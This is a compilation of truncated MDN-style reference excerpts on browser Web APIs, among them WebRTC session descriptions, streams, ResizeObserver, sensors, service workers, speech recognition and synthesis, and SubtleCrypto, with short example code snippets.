new local description. otherwise, setlocaldescription() creates an answer, which becomes the
new local description. type of the description parameter the description is of type rtcsessiondescriptioninit, which is a serialized version of a rtcsessiondescription browser object. they're interchangeable: mypeerconnection.createoffer().then(function(offer) { return mype...
...rameter the description is of type rtcsessiondescriptioninit, which is a serialized version of a rtcsessiondescription browser object. they're interchangeable: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(offer); }); this is equivalent to: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(
new rtcsessiondescription(offer)); }); for this reason, the rtcsessiondescription() constructor is deprecated. return value a promise which is fulfilled once the value of rtcpeerconnection.localdescription is successfully changed or rejected if the change cannot be applied (for example, if the specified description is incompatible with one or both of the peers on the connection). the promise's fu...
...tting setlocaldescription() do it. async function handlenegotiationneededevent() { try { await offer = pc.createoffer(); pc.setlocaldescription(offer); signalremotepeer({ description: pc.localdescription }); } catch(err) { reporterror(err); } } this begins by creating an offer by calling createoffer(); when that succeeds, we call setlocaldescription(). we can then send the
newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.setRemoteDescription() - Web APIs
ffer or answer received from the remote peer through your implementation of the sessiondescription parameter is technically of type rtcsessiondescriptioninit, but because rtcsessiondescription serializes to be indistinguishable from rtcsessiondescriptioninit, you can also pass in an rtcsessiondescription. ...
...scription parameter was provided at all. usage notes when you call setremotedescription(), the ice agent checks to make sure the rtcpeerconnection is in either the stable or have-remote-offer signalingstate. these states indicate that either an existing connection is being renegotiated or that an offer previously specified by an earlier call to setremotedescription() is to be replaced with the
new offer. in either of those two cases, we're at the beginning of the negotiation process, and the offer is set as the remote description. on the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice rollback in order to return the connection to a stable signaling state, then, once the rollback is c...
...ion process, and the offer is set as the remote description. on the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice rollback in order to return the connection to a stable signaling state, then, once the rollback is completed, sets the remote description to the specified offer. this begins a
new negotiation session, with the
newly-established offer as the starting point. upon starting the
new negotiation with the
newly-established offer, the local peer is now the callee, even if it was previously the caller. this happens instead of throwing an exception, thereby reducing the number of potential errors which might occur, and simplifies the processing you need to do when you receive an of...
RTCPeerConnection: track event - Web APIs
the track event is sent to the ontrack event handler on rtcpeerconnections after a
new track has been added to an rtcrtpreceiver which is part of the connection. bubbles yes cancelable no interface rtctrackevent event handler property ontrack by the time this event is delivered, the
new track has been fully added to the peer connection. see track event types in rtctrackevent for details. examples this example shows code that creates a
new rtcpeerconnection, then adds a
new track event handler. ...
... bubbles yes cancelable no interface rtctrackevent event handler property ontrack by the time this event is delivered, the
new track has been fully added to the peer connection. see track event types in rtctrackevent for details. examples this example shows code that creates a
new rtcpeerconnection, then adds a
new track event handler. ...
... you can also assign the event handler function to the ontrack property, rather than use addeventlistener(). ...
RTCRtpTransceiverInit - Web APIs
sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. ...
... sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. ...
... sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. ...
RTCSessionDescription - Web APIs
ct describes a provisional answer; that is, a response to a previous offer that is not the final answer. it is usually employed by legacy hardware. rollback this special type with an empty session description is used to roll back to the previous stable state. methods the rtcsessiondescription doesn't inherit any methods. rtcsessiondescription() this constructor returns a
new rtcsessiondescription. the parameter is a rtcsessiondescriptioninit dictionary containing the values to assign the two properties. rtcsessiondescription.tojson() returns a json description of the object. the values of both properties, type and sdp, are contained in the generated json. example signalingchannel.onmessage = function (evt) { if (!pc) start(false); var message =...
...ary containing the values to assign the two properties. rtcsessiondescription.tojson() returns a json description of the object. the values of both properties, type and sdp, are contained in the generated json. ...
... candidate recommendation initial definition. ...
RTCTrackEvent() - Web APIs
this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. ...
...this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. ...
...tion. this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track. track the mediastreamtrack the event is associated with. transceiver the rtcrtptransceiver associated with the event. return value a
new rtctrackevent describing a track which has been added to the rtcpeerconnection. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent()' in that specification. candidate recommendation initial specification. ...
Range() - Web APIs
the range() constructor returns a
newly created range object whose start and end is the global document object. syntax range =
new range() example in this example we create a
new range with the range() constructor, and set its beginning and end positions using the range.setstartbefore() and range.setendafter() methods. we then select the range using window.getselection() and selection.addrange(). ...
...ange with the range() constructor, and set its beginning and end positions using the range.setstartbefore() and range.setendafter() methods. we then select the range using window.getselection() and selection.addrange(). ...
...nstructor, and set its beginning and end positions using the range.setstartbefore() and range.setendafter() methods. we then select the range using window.getselection() and selection.addrange(). ...
ReadableStream.pipeThrough() - Web APIs
rmstream. exceptions typeerror the writable and/or readable property of transformstream are undefined. examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. ...
... transformstream are undefined. examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. next, we log the contents of the readable stream, use pipethrough() to send it to a
new function that creates a gray-scaled version of the stream, then log the
new stream's contents too. ...
...pethrough() to send it to a
new function that creates a gray-scaled version of the stream, then log the
new stream's contents too. // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(
new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification. living standard initial definition. ...
ReadableStream - Web APIs
ansform stream or any other writable/readable pair. readablestream.pipeto() pipes the current readablestream to a given writablestream and returns a promise that fulfills when the piping process completes successfully, or rejects if any errors were encountered. readablestream.tee() the tee method tees this readable stream, returning a two-element array containing the two resulting branches as
new readablestream instances. each of those streams receives the same incoming data. readablestream[@@asynciterator]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. fetch("https://www.example.o...
...blestream[@@asynciterator]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
... living standard initial definition ...
RelativeOrientationSensor - Web APIs
n to the 'accelerometer', and 'gyroscope' device sensors through the permissions api. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor relativeorientationsensor.relativeorientationsensor() creates a
new relativeorientationsensor object. properties no specific properties; inherits methods from its ancestors orientationsensor and sensor. event handlers no specific event handlers; inherits methods from its ancestor, sensor. methods no specific methods; inherits methods from its ancestors orientationsensor and sensor. examples basic example the following example, which is loosely based on ...
...ng example, which is loosely based on intel's orientation phone demo, instantiates an relativeorientationsensor with a frequency of 60 times a second. note that the intel demo this is based on uses the absoluteoreintationsensor. on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone. const options = { frequency: 60, referenceframe: 'device' }; const sensor =
new relativeorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation...
...on).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors. becuase the permissions uses promises, a good way to request permissions is to use promise.all. const sensor =
new relativeorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ... } else { console.log("no permissions to use relativeorientationsensor."); ...
ResizeObserverEntry.borderBoxSize - Web APIs
the array is necessary to support elements that have multiple fragments, which occur in multi-column scenarios. each object in the array contains two properties: blocksize the length of the observed element's border box in the block dimension. ...
...the array is necessary to support elements that have multiple fragments, which occur in multi-column scenarios. each object in the array contains two properties: blocksize the length of the observed element's border box in the block dimension. ...
...inesize the length of the observed element's border box in the inline dimension. for boxes with a horizontal writing-mode, this is the horizontal dimension, or width; if the writing-mode is vertical, this is the vertical dimension, or height. note: for more explanation of writing modes and block and inline dimensions, read handling different text directions. ...
ResizeObserverEntry.contentBoxSize - Web APIs
this object contains two properties: blocksize the length of the observed element's content box in the block dimension. for boxes with a horizontal writing-mode, this is the vertical dimension, or height; if the writing-mode is vertical, this is the horizontal dimension, or width. ...
...this object contains two properties: blocksize the length of the observed element's content box in the block dimension. for boxes with a horizontal writing-mode, this is the vertical dimension, or height; if the writing-mode is vertical, this is the horizontal dimension, or width. ...
...le includes a green box, sized as a percentage of the viewport size. when the viewport size is changed, the box's rounded corners change in proportion to the size of the box. we could just implement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners; this solution gives you nice square corners that scale with the box size. ...
ResizeObserverEntry.contentRect - Web APIs
the contentrect read-only property of the resizeobserverentry interface returns a domrectreadonly object containing the
new size of the observed element when the callback is run. note that this is better supported than resizeobserverentry.borderboxsize or resizeobserverentry.contentboxsize, but it is left over from an earlier implementation of the resize observer api, is still included in the spec for web compat reasons, and may be deprecated in future versions. syntax var contentrect = resizeobserverentry.contentrect; value a domrectreadonly object containing the
new size of the element indicated by the target property. if the target is an html element, the returned contentrect is the element's content box. if the target is an svgelement, the returned contentrect is the svg's bounding ...
... of the element indicated by the target property. if the target is an html element, the returned contentrect is the element's content box. if the target is an svgelement, the returned contentrect is the svg's bounding box. examples the following snippet is taken from the resize-observer-text.html (see source) example. ...
...svgelement, the returned contentrect is the svg's bounding box. examples the following snippet is taken from the resize-observer-text.html (see source) example. this uses a simple feature detection test to see if the browser supports the
newer resizeobserverentry.contentboxsize property — if so, it uses that to get the sizing data it needs. if not, it uses contentrect. ...
ResizeObserverEntry - Web APIs
the resizeobserverentry interface represents the object passed to the resizeobserver() constructor's callback function, which allows you to access the
new dimensions of the element or svgelement being observed. properties resizeobserverentry.borderboxsize read only an object containing the
new border box size of the observed element when the callback is run. resizeobserverentry.contentboxsize read only an object containing the
new content box size of the observed element when the callback is run. resizeobserverentry.contentrect read only a domrectreadonly object containing the
new size of the observed element when the callback is run. note that this is better supported than the above two properties, but it is left over from an earlier implementation of the resize observer api, is...
... is the box in which content can be placed, meaning the border box minus the padding and border width. the border box encompasses the content, padding, and border. see the box model for further explanation. methods none. examples the following snippet is taken from the resize-observer-text.html (see source) example. ...
...der. see the box model for further explanation. methods none. examples the following snippet is taken from the resize-observer-text.html (see source) example. this uses a simple feature detection test to see if the browser supports the
newer contentboxsize property — if so, it uses that to get the sizing data it needs. if not, it uses the older contentrect property. ...
Response() - Web APIs
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). the possible options are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. ...
...ons are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a reference). ...
...g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a reference). examples in our fetch response example (see fetch response live) we create a
new response object using the constructor, passing it a
new blob as a body, and an init object containing a custom status and statustext: var myblob =
new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse =
new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification. living standard initial definition ...
ScriptProcessorNode.bufferSize - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers. the buffersize property of the scriptprocessornode interface returns an integer representing both the input and output buffer size, in sample-frames. its value can be a power of 2 value in the range 256–16384. syntax var audioctx =
new audiocontext(); var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); value an integer. example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for...
...ll amount of white noise, before setting that result to be the output sample in each case. ...
... // create audiocontext and buffer source var audioctx =
new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request =
new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a functio...
ScriptProcessorNode.onaudioprocess - Web APIs
publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers. the onaudioprocess event handler of the scriptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispatched to scriptprocessornode node types. an event of type audioprocessingevent will be dispatched to the event handler. syntax var audioctx =
new audiocontext(); var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); scriptnode.onaudioprocess = function() { ... } example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for e...
...unt of white noise, before setting that result to be the output sample in each case. ...
... // create audiocontext and buffer source var audioctx =
new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request =
new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a func...
ScriptProcessorNode - Web APIs
re has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode). the scriptprocessornode interface is an audionode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data. an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains
new data, and the event handler terminates when it has filled the output buffer with data. the size of the input and output buffer are defined at the creation time, when the audiocontext.createscriptprocessor() method is called (both are defined by audiocontext.createscriptprocessor()'s buffersize parameter). the buffer size must be a power of 2 between 256 and 16384, that is 256, 512, 1024, 2048,...
...ll amount of white noise, before setting that result to be the output sample in each case. ...
... // create audiocontext and buffer source var audioctx =
new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request =
new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a functio...
Sensor APIs - Web APIs
wn to the user is when permissions need to be requested and when the sensor type isn't supported by the device. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. let accelerometer = null; try { accelerometer =
new accelerometer({ referenceframe: 'device' }); accelerometer.addeventlistener('error', event => { // handle runtime errors. if (event.error.name === 'notallowederror') { // branch to code for requesting permission. } else if (event.error.name === 'notreadableerror' ) { console.log('cannot connect to the sensor.'); } }); acceleromet...
...le, shown below, requests permission before attempting to use the sensor. navigator.permissions.query({ name: 'accelerometer' }) .then(result => { if (result.state === 'denied') { console.log('permission to use accelerometer sensor is denied.'); return; } // use the sensor. }); an alternative approach is to attempt to use the error and listen for the securityerror. const sensor =
new absoluteorientationsensor(); sensor.start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following table describes for each sensor type, the name required for the permissions api, the <iframe> element's allow attribute and the feature-policy directive. sensor permissions sensor p...
...ished with an option passed to a sensor's constructor. the option is a number that specifies the number of readings per second. a whole number or decimal may be used, the latter for frequencies less than a second. the actual reading frequency depends device hardware and consequently may be less than requested. the following example illustrates this using the magnetometer sensor. ...
ServiceWorkerRegistration - Web APIs
anages periodic background synchronization processes. this was mentioned as an idea in the sw explainer at some point, but as yet has not been implemented anywhere. event handlers serviceworkerregistration.onupdatefound read only an eventlistener property called whenever an event of type updatefound is fired; it is fired any time the serviceworkerregistration.installing property acquires a
new service worker. methods also implements methods from its parent interface, eventtarget. serviceworkerregistration.getnotifications() returns a promise that resolves to an array of notification objects. serviceworkerregistration.shownotification() displays the notification with the requested title. serviceworkerregistration.update() checks the server for an updated version of the servic...
...es to the service worker's state. if the service worker hasn't changed since the last time it was registered, then the updatefound event will not be fired. ...
...hen the updatefound event will not be fired. if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw.js') .then(function(registration) { registration.addeventlistener('updatefound', function() { // if updatefound is fired, it means that there's // a
new service worker being installed. ...
Service Worker API - Web APIs
wing lifecycle: download install activate the service worker is immediately downloaded when a user first accesses a service worker–controlled site/page. after that, it is updated when: a navigation to an in-scope page occurs. an event is fired on the service worker and it hasn't been downloaded in the last 24 hours. ...
...ion is attempted when the downloaded file is found to be
new — either different to an existing service worker (byte-wise compared), or the first service worker encountered for this page/site. if this is the first time a service worker has been made available, installation is attempted, then after a successful installation, it is activated. if there is an existing service worker available, the
new version is installed in the background, but not yet activated — at this point it is called the worker in waiting. it is only activated when there are no longer any pages loaded that are still using the old service worker. as soon as there are no more pages to be loaded, the
new service worker activates (becoming the active worker). activation can happen sooner using serviceworkerglobalscope.ski...
... the web platform that will bring it closer towards native app viability. interestingly, other specifications can and will start to make use of the service worker context, for example: background synchronization: start up a service worker even when no users are at the site, so caches can be updated, etc. reacting to push messages: start up a service worker to send users a message to tell them
new content is available. reacting to a particular time & date. entering a geo-fence. interfaces cache represents the storage for request / response object pairs that are cached as part of the serviceworker life cycle. cachestorage represents the storage for cache objects. it provides a master directory of all the named caches that a serviceworker can access, and maintains a mapping of ...
SourceBuffer - Web APIs
buffer.appendbufferasync() starts the process of asynchronously appending the specified buffer to the sourcebuffer. returns a promise which is fulfilled once the buffer has been appended. sourcebuffer.appendstream() appends media segment data from a readablestream object to the sourcebuffer. sourcebuffer.changetype() changes the mime type that future calls to appendbuffer() will expect the
new data to conform to. sourcebuffer.remove() removes media segments within a specific time range from the sourcebuffer. sourcebuffer.removeasync() starts the process of asynchronously removing media segments in the specified range from the sourcebuffer. returns a promise which is fulfilled once all matching segments have been removed. examples the following simple example loads a video chun...
... live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource =
new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecode...
... recommendation initial definition. ...
SpeechGrammar - Web APIs
properties speechgrammar.src sets and returns a string containing the grammar from within in the speechgrammar object instance. ...
... specificatio...
... specifications specification status comment ...
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgrammarlist() constructor creates a
new speechgrammarlist object instance. syntax var mygrammarlist =
new speechgrammarlist(); parameters none. examples in our simple speech color changer example, we create a
new speechrecognition object instance using the speechrecognition() constructor, create a
new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property. var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lim...
... draft ...
... draft ...
SpeechGrammarList.addFromString() - Web APIs
syntax speechgrammarlistinstance.addfromstring(string,weight); returns void. parameters string a domstring representing the grammar to be added. weight optional a float representing the weight of the grammar relative to other grammars present in the speechgrammarlist. ...
... draft ...
... draft ...
SpeechGrammarList.addFromURI() - Web APIs
note that some speech recognition services may support built-in grammars that can be specified by uri. syntax speechgrammarlistinstance.addfromuri(src,weight); returns void. parameters src a domstring representing the uri of the grammar to be added. weight optional a float representing the weight of the grammar relative to other grammars present in the speechgrammarlist. ...
... specifications specification status comment web speech apithe definition of 'addfromuri()' i...
... specifications specification status comment web speech apithe definition of 'addfromuri()' in that specification. draft ...
SpeechRecognition() - Web APIs
the speechrecognition() constructor creates a
new speechrecognition object instance. syntax var myrecognition =
new speechrecognition(); parameters none. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe defini...
... specifications specification status comment web speech apithe definition of 'speechrecognition()' in that specification. ...
SpeechRecognition - Web APIs
er interface for the recognition service; this also handles the speechrecognitionevent sent from the recognition service. note: on some browsers, like chrome, using speech recognition on a web page involves a server-based recognition engine. your audio is sent to a web service for recognition processing, so it won't work offline. constructor speechrecognition.speechrecognition() creates a
new speechrecognition object. properties speechrecognition also inherits properties from its parent interface, eventtarget. speechrecognition.grammars returns and sets a collection of speechgrammar objects that represent the grammars that will be understood by the current speechrecognition. speechrecognition.lang returns and sets the language of the current speechrecognition. if not specifie...
...h recognised by the speech recognition service has stopped being detected. also available via the onspeechend property. start fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. also available via the onstart property. examples in our simple speech color changer example, we create a
new speechrecognition object instance using the speechrecognition() constructor, create a
new speechgrammarlist, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property. after some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see speechrecognition.start().)...
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition =
new speechrecognition(); var speechrecognitionlist =
new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); docume...
SpeechSynthesis - Web APIs
en spoken. events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface. voiceschanged fired when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed. also available via the onvoiceschanged property. examples first, a simple example: let utterance =
new speechsynthesisutterance("hello world!"); speechsynthesis.speak(utterance); now we'll look at a more fully-fledged example. in our speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with th...
...er demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a
new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('.txt'); var voiceselect = document.queryselector('s...
...ontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis =
new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specifica...
SpeechSynthesisUtterance - Web APIs
properties speechsynthesisutterance also inherits properties from its parent interface, eventtarget. ...
... a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), use the constructor to create a
new utterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var voices = synth.getvoices(); var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = documen...
... draft ...
StaticRange.StaticRange() - Web APIs
the four required rangespec properties are: startcontainer the node in which the starting point of the range is located. startoffset the offset into the starting node at which the first character of the range is found. endcontainer the node in which the end point of the range is located. ...
...the four required rangespec properties are: startcontainer the node in which the starting point of the range is located. startoffset the offset into the starting node at which the first character of the range is found. endcontainer the node in which the end point of the range is located. ...
...e: startcontainer the node in which the starting point of the range is located. startoffset the offset into the starting node at which the first character of the range is found. endcontainer the node in which the end point of the range is located. endoffset the offset into the node indicated by endoffset at which the last character in the range is located. return value a
new staticrange object initialized with the values given in the rangespec object. exceptions invalidnodetypeerror a domexception fired if either or both of the startcontainer and/or endcontainer are a type of node which you can't include in a range. those node types are node.document_type_node (representing the documenttype node derived from the dtd identified using the doctype preamble in the h...
SubtleCrypto.deriveKey() - Web APIs
the derivekey() method of the subtlecrypto interface can be used to derive a secret key from a master key. it takes as arguments some initial key material, the derivation algorithm to use, and the desired properties for the key to derive. it returns a promise which will be fulfilled with a cryptokey object representing the
new key. it's worth noting that the three key derivation algorithms you can use have quite different characteristics and are appropriate in quite different situations. see supported algorithms for some more detail on this. syntax const result = crypto.subtle.derivekey( algorithm, basekey, derivedkeyalgorithm, extractable, keyusages ); parameters algorithm is an object defining the derivation algorithm to use. to use ecdh, pass an ecdhk...
... with the derived key. note that the key usages must be allowed by the algorithm set in derivedkeyalgorithm. possible values of the array are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a
new key. "derivebits": the key may be used in deriving bits. "wrapkey": the key may be used to wrap a key. "unwrapkey": the key may be used to unwrap a key. return value result is a promise that fulfills with a cryptokey. exceptions the promise is rejected when one of the following exceptions are encountered: invalidaccesserror raised when the master key is not a key for the...
...} pbkdf2 in this example we ask the user for a password, then use it to derive an aes key using pbkdf2, then use the aes key to encrypt a message. see the complete code on github. /* get some key material to use as input to the derivekey method. the key material is a password supplied by the user. ...
SubtleCrypto.digest() - Web APIs
eate an keyed-hash message authentication code (hmac), you need to use the subtlecrypto.sign() instead. examples basic example this example encodes a message, then calculates its sha-256 digest and logs the digest length: const text = 'an obscure body in the s-k system, your majesty. the inhabitants refer to it as the planet earth.'; async function digestmessage(message) { const encoder =
new textencoder(); const data = encoder.encode(message); const hash = await crypto.subtle.digest('sha-256', data); return hash; } const digestbuffer = await digestmessage(text); console.log(digestbuffer.bytelength); converting a digest to a hex string the digest is returned as an arraybuffer, but for comparison and display digests are often represented as hex strings. this example calculate...
... digest to a hex string the digest is returned as an arraybuffer, but for comparison and display digests are often represented as hex strings. this example calculates a digest, then converts the arraybuffer to a hex string: const text = 'an obscure body in the s-k system, your majesty. ...
... const text = 'an obscure body in the s-k system, your majesty. ...
SubtleCrypto.generateKey() - Web APIs
syntax const result = crypto.subtle.generatekey(algorithm, extractable, keyusages); parameters algorithm is a dictionary object defining the type of key to generate and providing extra algorithm-specific parameters. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedkeygenparams object. for ecdsa or ecdh: pass an eckeygenparams object. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. ...
...nparams object. for ecdsa or ecdh: pass an eckeygenparams object. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the
newly generated key. possible values for array elements are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a
new key. derivebits: the key may be used in deriving bits. wrapkey: the key may...
.... syntaxerror raised when the result is a cryptokeypair and its privatekey.usages attribute is empty. examples note: you can try the working examples on github. rsa key pair generation this code generates an rsa-oaep encryption key pair. see the complete code on github. let keypair = window.crypto.subtle.generatekey( { name: "rsa-oaep", moduluslength: 4096, publicexponent:
